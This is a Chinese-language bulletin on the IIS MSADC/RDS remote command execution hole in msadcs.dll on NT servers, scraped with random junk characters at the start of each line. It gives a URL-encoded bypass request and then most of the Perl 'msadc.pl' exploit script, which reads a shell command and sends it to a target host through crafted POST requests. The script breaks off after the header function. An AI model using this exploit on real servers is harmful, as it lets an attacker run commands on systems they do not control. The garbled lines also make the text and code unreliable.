IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$@HW|Y 5AK@e|G$w 涉及程序:
Itz[%Dbiq9 Microsoft NT server
z2lT4SAv+ Ea)=K'Pz 描述:
7J;\&q' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/|p\l" 5gSe=|we*p 详细:
YU`}T<;bg 如果你没有时间读详细内容的话,就删除:
!l-Q.=yw c:\Program Files\Common Files\System\Msadc\msadcs.dll
YB1Jv[ 有关的安全问题就没有了。
4:=VHd hTQ8y10a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
(?xR<]~g* y8ODoXk 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,R\e x =c 关于利用ODBC远程漏洞的描述,请参看:
N*f]NCSi w\RYxu? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P=aYwm C TbD
$lx3> 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
. {vMn0c http://www.microsoft.com/security/bulletins/MS99-025faq.asp A*~BkvPr j+PLtE 这里不再论述。
PA*1]i#2M= 7_R[=t 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
?3%r:g4 y>X(GF^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Px3I+VP 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<@$+uZt+ S.Q:O{] Q?bCQZ{-Lh #将下面这段保存为txt文件,然后: "perl -x 文件名"
%ol\ sO| [Z2{S-)UM #!perl
Ga_Pt8L6 #
8,IQ6Or|-2 # MSADC/RDS 'usage' (aka exploit) script
]XASim:A #
'YJ~~o # by rain.forest.puppy
CXBFR>" #
h[;DRD!Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)KY4BBc # beta test and find errors!
t`Rbn{ `GSl}A use Socket; use Getopt::Std;
qu\U^F getopts("e:vd:h:XR", \%args);
6!HYx -,+~W#n print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}5;/!P_A &;bey4_J if (!defined $args{h} && !defined $args{R}) {
,9M2'6= print qq~
:Q,~Nw> Usage: msadc.pl -h <host> { -d <delay> -X -v }
@?jbah# -h <host> = host you want to scan (ip or domain)
;Y,zlq2 -d <seconds> = delay between calls, default 1 second
e8E' X -X = dump Index Server path table, if available
XmaRg{22 -v = verbose
S5:&_&R8[ -e = external dictionary file for step 5
8>9MeDE 29l bOi Or a -R will resume a command session
>@h#'[z,d [ahwJ F#r ~; exit;}
K_n
GZ/`[ 9 I:3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3mHP=) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
lvRTy|%[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j]U~ZAn,K if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
wv`ar>qVL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b%KcS&-6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
oWx^_wQ-= Av0(zA2 if (!defined $args{R}){ $ret = &has_msadc;
Rt7l`|g a+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(Y*9[hm -Mf-8zw8G print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^oYRBEIJH . "cmd /c ";
6XHM `S $in=<STDIN>; chomp $in;
0Y'ow=8M $command="cmd /c " . $in ;
`t\\O AiL80W^=d) if (defined $args{R}) {&load; exit;}
iJeodfC s)?GscPG! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/6F\]JwU &try_btcustmr;
7[mP@ { /bn$@Cy@ print "\nStep 2: Trying to make our own DSN...";
g<ov` bF &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,xR u74 ~Q#!oh'i print "\nStep 3: Trying known DSNs...";
H )>3c1 &known_dsn;
lWH#/5`h Bt#'6:: print "\nStep 4: Trying known .mdbs...";
"%bU74> &known_mdb;
t%O)Ti #|3,DZ|)F if (defined $args{e}){
f~,Ml*Zp print "\nStep 5: Trying dictionary of DSN names...";
l8J2Xd @ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ei>iXDt zC*dJXt@ print "Sorry Charley...maybe next time?\n";
tqCwbi exit;
h4=mGJpm 4cqf= ##############################################################################
itE/QB W]Nc6B*gI sub sendraw { # ripped and modded from whisker
Z4:^#98c. sleep($delay); # it's a DoS on the server! At least on mine...
7=NKbv] my ($pstr)=@_;
)#GF:.B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TyA1Qk\ die("Socket problems\n");
BR-wL3x
b if(connect(S,pack "SnA4x8",2,80,$target)){
.S1MxZhbP select(S); $|=1;
ji\&?%(B print $pstr; my @in=<S>;
Jamt@= select(STDOUT); close(S);
ho)JY
$#6 return @in;
}I MV@z B } else { die("Can't connect...\n"); }}
;y{(#X# ?S9vYaA$ ##############################################################################
a@Zolz_Z .XkD2~; sub make_header { # make the HTTP request
%pH|2VB# my $msadc=<<EOT
O,-NzGs POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
miTff[hsMa User-Agent: ACTIVEDATA
I;1)a4Xc4R Host: $ip
2ga8 G4dU Content-Length: $clen
_>aP5g?Ep Connection: Keep-Alive
~{);Ab.9+ -E3cS ADCClientVersion:01.06
s|:1z"q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
uL@%M8n DF>tQ --!ADM!ROX!YOUR!WORLD!
9ZG:2ncdJ Content-Type: application/x-varg
OHW|?hI=[ Content-Length: $reqlen
@Kn@j D; QN?EI:
q= EOT
^16zZ* ; $msadc=~s/\n/\r\n/g;
R# .H&# return $msadc;}
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